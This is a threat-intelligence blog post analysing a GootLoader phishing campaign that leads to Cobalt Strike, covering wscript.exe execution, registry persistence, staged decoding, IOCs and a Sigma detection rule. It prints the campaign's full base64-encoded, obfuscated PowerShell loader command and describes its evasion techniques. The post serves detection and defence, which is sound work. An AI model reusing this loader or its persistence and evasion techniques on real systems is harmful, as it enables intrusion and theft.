Blog Post September 30, 2022

Everything you Need to Know about Tracking GootLoader

By: Kyle Auer & Kevin O’Connor
Adlumin’s Threat Visibility Team has observed an increase in GootLoader-based malware and identified a possible unified campaign leveraging GootLoader with follow-on Cobalt Strike payloads in attempts to breach U.S. businesses including multiple Adlumin customers.

What is GootLoader?

GootLoader is a presumed access-as-a-service malware ¹, with its developers also being responsible for the GootKit malware as first reported by Dr. Web in 2014 ². GootKit, the actor’s namesake and original toolkit, is distinct from GootLoader in that GootLoader is closer to an initial access capability which leverages follow on stages such as Cobalt Strike, various Ransomware payloads, and potentially GootKit – the latter of which has fallen out of favor since gaining notoriety in 2019 due to infrastructure compromise ³.
As an access-as-a-service malware, the GootLoader operators would be expected to sell direct access to compromised hosts and systems or provide buyers with harvested credentials and access points into a targeted network. A less frequent operation under this model might involve the GootLoader actors loading second-stage payloads as access brokers.

Tracking the Campaign

Adlumin is observing and tracking an active exploitation campaign utilizing GootLoader against U.S. businesses in multiple industries and verticals. What we’ve observed in this campaign is uniform deployment of Cobalt Strike payloads following exploitation and initial access provided by GootLoader. It’s unknown if these Cobalt Strike payloads are used by GootLoader developers to provide direct access to an infected target or used to harvest credentials and other data which is brokered to a buyer for access or exploited in some other way.
Our investigation is tracking an exploitation campaign which we defined based on:

Like to identical initial access and exploit methodologies
Like to identical command and control infrastructure and methodology
Like to identical operations time-frame
Like to identical first-stage “loader” malware, GootLoader
Like to identical second-stage follow-on malware, Cobalt Strike

Campaign Tactics, Techniques, and Procedures (TTPs)

This GootLoader campaign begins its attack by phishing potential victims’ business emails. Unlike other campaigns reported earlier in 2021 and 2022⁴, this campaign has not yet been observed relying on specific SEO poisoning attacks to deliver its payload. We believe the payloads are also not being disguised as legitimate JQuery libraries as previously seen.
It starts with an email…

Figure 1: The Attack Begins with a Malicious JavaScript file contained in a Zip Archive

The first stage in the campaign against a target is a simple phishing email. These emails have an attached Zip archive, which contains a JavaScript payload the victim is tricked in to running after opening. This JavaScript payload is executed by a Windows Operating System native binary, Windows Script Host (wscript.exe), which is a legitimate application typically used for logon scripts, administration, and automation and provides an execution environment in which the script can run. Our team believes that the JavaScript payload is delivered via a compressed archive to help mitigate detection by email and malware scanners.

GootLoader_Image_2

Figure 2: JavaScript is executed by wscript.exe

GootLoader will then use this wscript.exe executing JavaScript to download an additional JavaScript resource which is loaded by the original calling wscript.exe process. This secondary exploitation payload is responsible for persisting two separate payloads.

GootLoader_Image_3

Figure 3: wscript.exe retrieves payloads from Command and Control Server

Persistence

GootLoader will use its secondary JavaScript payload to write two registry keys to the Window’s Current User registry hive (HKCU). In this tracked campaign the two registry keys were stored in:

HKCU:\\Software\Microsoft\Phone\user0
HKCU:\\Software\Microsoft\Phone\user

GootLoader_Image_4

Figure 4: wscript.exe runs PowerShell to persist malware as a task, and writes encoded payloads to registry

Kick-Off

After having saved the next two stages to the registry, the wscript.exe process will execute PowerShell to run PowerShell commands which will kick-off the first-stage malware implant. To help evade detection by security software, the executed PowerShell commands make use of multiple evasion techniques including

Base64 Encoding the Command
Command abbreviation
Variable substitution
String concatenation
- MwA1ADEANAA5ADcAOAA5ADsAcwBsAGUAZQBwACAALQBzACAANwA4ADsAJABqAHQAPQBHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBwAGEAdABoACAAKAAiAGgAawAiACsAIgBjAHUAOgBcAHMAbwBmACIAKwAiAHQAdwAiACsAIgBhAHIAZQBcAG0AaQBjACIAKwAiAHIAbwBzACIAKwAiAG8AZgB0AFwAUABoAG8AbgBlAFwAIgArAFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6ACgAIgB1AHMAZQAiACsAIgByAG4AIgArACIAYQBtAGUAIgApACsAIgAwACIAKQA7AGYAbwByACAAKAAkAHMAdQBzAD0AMAA7ACQAcwB1AHMAIAAtAGwAZQAgADcAMAAwADsAJABzAHUAcwArACsAKQB7AFQAcgB5AHsAJABzAGEAKwA9ACQAagB0AC4AJABzAHUAcwB9AEMAYQB0AGMAaAB7AH0AfQA7ACQAcwB1AHMAPQAwADsAdwBoAGkAbABlACgAJAB0AHIAdQBlACkAewAkAHMAdQBzACsAKwA7ACQAawBvAD0AWwBtAGEAdABoAF0AOgA6ACgAIgBzAHEAIgArACIAcgB0ACIAKQAoACQAcwB1AHMAKQA7AGkAZgAoACQAawBvACAALQBlAHEAIAAxADAAMAAwACkAewBiAHIAZQBhAGsAfQB9ACQAaABpAHQAPQAkAHMAYQAuAHIAZQBwAGwAYQBjAGUAKAAiACMAIgAsACQAawBvACkAOwAkAGUAagB2AD0AWwBiAHkAdABlAFsAXQBdADoAOgAoACIAbgBlACIAKwAiAHcAIgApACgAJABoAGkAdAAuAEwAZQBuAGcAdABoAC8AMgApADsAZgBvAHIAKAAkAHMAdQBzAD0AMAA7ACQAcwB1AHMAIAAtAGwAdAAgACQAaABpAHQALgBMAGUAbgBnAHQAaAA7ACQAcwB1AHMAKwA9ADIAKQB7ACQAZQBqAHYAWwAkAHMAdQBzAC8AMgBdAD0AWwBjAG8AbgB2AGUAcgB0AF0AOgA6ACgAIgBUAG8AQgAiACsAIgB5AHQAZQAiACkAKAAkAGgAaQB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdQBzACwAMgApACwAKAAyACoAOAApACkAfQBbAHIAZQBmAGwAZQBjAHQAaQBvAG4ALgBhAHMAcwBlAG0AYgBsAHkAXQA6ADoAKAAiAEwAbwAiACsAIgBhAGQAIgApACgAJABlAGoAdgApADsAWwBPAHAAZQBuAF0AOgA6ACgAIgBUAGUAIgArACIAcwB0ACIAKQAoACkAOwA3ADQANAA0ADkAMQA3ADIAOwA=

Decoding from Base64 and encoding with UTF-16LE we can see the commands contents:

GootLoader_Image_5

Figure 5: Decoded PowerShell Command Loading Stage 1 Implant

This command will grab the contents of the first registry key, HKCU:/SOFTWARE/Microsoft/phone/$USERNAME0, decode the encoded .NET DLL it contains, and then run the Test() function contained in the DLL us as an execution start point.

Obtaining Decoded Stage-1

To get the malware to drop the DLL unencoded for further analysis rather than directly loading and calling it via PowerShell, we modified the executed PowerShell command to write the contents to a file by appending the following before the last SLEEPfunction.

+> Set-Content $PATH -Value $ejv -Encoding Byte

This allowed us to analyze this first-stage implant to identify that the Test() function was being used to load the second-stage implant.

GootLoader_Image_6

Figure 6: PowerShell.exe decodes the GootLoader implant which decodes and runs the secondary payload, Cobalt Strike

Second Stage Payload

The second payload and malware implant used by GootLoader in this campaign is Cobalt Strike. The second registry key written in the earlier stage to HKCU:\..Phone\$USERNAME contains an encoded Cobalt Strike beacon. When the first-stage’s Test() function is executed, it decodes, loads, and executes the Cobalt Strike beacon into memory.

To analyze the Cobalt Strike beacon we modified the retrieved first payload which loads the beacon, to instead write the beacon unencoded to disk for retrieval and analysis. We did this by adding additional library imports used for writing a file and adding a main function which will call the Test() loader.

GootLoader_Image_7

Figure 7: Adding additional imports to 1st Stage Malware Implant

GootLoader_Image_8

Figure 8: Adding function to call the 2nd Stage DLL’s Test() function

We then created a BinaryWriter object and comment out some of the lines which would execute the Cobalt Strike beacon.

Figure 9: Modifying 1st stage to prevent 2nd stage execution and retrieve decoded 2^nd stage

After building and running the code, we obtained the decoded second-stage Cobalt Strike payload.

Extracting Campaign IOCs from Cobalt Strike

Cobalt Strike is a paid penetration testing software which includes configurable malware implants that are often repurposed for use in real malware operations and infections. The Cobalt Strike beacon provides functionality for the attacker including command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained^[5].Cobalt Strike has exploded in popularity in usage by cyber-criminals^[6], and is a perfect launching platform for continued attacks or access transfer.

Once we had the decoded Cobalt Strike beacon written to disk, we were able to use public decoders to extract Cobalt Strike configuration information such as command and control addresses. We used the Python-based Cobalt Strike Configuration Extractor and Parser which can be found on GitHub, here.

Figure 10: Decoded Cobalt Strike Beacon Payload

This allowed us to obtain the malware command and control infrastructure used by the attackers to control the Cobalt Strike implant.

Figure 11: Cobalt Strike is run and beacons to Cobalt Strike command and control server

Summary & Future Reads

Once Adlumin’s Threat Visibility Team had the initial payload, follow-on implant stages, and leads on command-and-control infrastructure, we quickly created detections for our MDR platform, which merges data from multiple security relevant data sources including the endpoint and installed security software. These detections caught subsequent attacks from the same campaign and identified some historical retroactive activity. Some key defenses and mitigations for the campaign include:

Adequate phishing mitigation and attachment scanning solutions
Monitoring of wscript.exe executions of JavaScript files from compressed archives
Monitoring of PowerShell executions, especially of encoded commands, which have a parent process of wscript.exe
Implementing a Proactive Defense program that is equipped with fully managed security awareness testing and training, designed to empower employees to recognize and reduce the risk posed by cybercriminals.

Additionally, Adlumin is sharing the following indicators used in this campaign with the community:

93[.]115[.]29[.]50
hxxps://streamlock[.]net

We’d also like to share the below Sigma rule to help identify possible exploitation activity:

title: GootLoader Zipped JS WScript
id: 37d82863-216a-41a3-a4de-b09cea08eb92
action: global
status: experimental
references:
– https://adlumin.com
date: 2022/09/26
tags:
– attack.execution
– attack.t1059
author: Adlumin, Kyle Auer, Kevin O’Connor
detection:
condition: selection
level: medium
logsource:
category: process_execution
product: windows
detection:
selection_1:
Image|endswith:
– ‘\powershell.exe’
ParentImage|endswith
– ‘\wscript.exe’
selection_2:
Image|endswith:
– ‘\wscript.exe’
selection_3:
CommandLine|all:
– ‘*AppData*’
– ‘*zip*’
– ‘*.js*’
condition: (selection_1 or selection_2) and selection_3